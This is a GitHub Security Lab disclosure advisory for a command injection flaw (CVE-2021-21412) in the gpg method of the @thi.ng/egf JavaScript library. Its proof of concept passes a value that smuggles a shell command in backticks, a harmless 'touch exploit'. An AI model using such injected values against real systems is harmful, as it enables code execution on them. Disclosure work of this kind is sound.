skip to content
Back to GitHub.com
Home Bounties CodeQL Research Advisories Get Involved Events
April 13, 2021

GHSL-2021-062: Command injection in @thi.ng/egf - CVE-2021-21412

Alvaro Munoz

Coordinated Disclosure Timeline

Summary

The gpg method has a command injection vulnerability. Clients of the @thi.ng/egf library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

Product

@thi.ng/egf

Tested Version

Latest commit at the time of reporting (March 25, 2021).

Details

Command injection in gpg

The following proof-of-concept illustrates the vulnerability. First install @thi.ng/egf:

npm install @thi.ng/egf

Now create a file with the following contents:

const egf = require("@thi.ng/egf");
egf.BUILTINS.gpg("foo", "bar`touch exploit`", {opts: {decrypt: true}});

and run it:

node test.js

Notice that a file named exploit has been created.

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples: CVE-2020-7646, CVE-2020-7614, CVE-2020-7597, CVE-2019-10778, CVE-2019-10776, CVE-2018-16462, CVE-2018-16461, CVE-2018-16460, CVE-2018-13797, CVE-2018-3786, CVE-2018-3772, CVE-2018-3746, CVE-2017-16100, CVE-2017-16042.

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

CVE

Credit

This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-062 in any communication regarding this issue.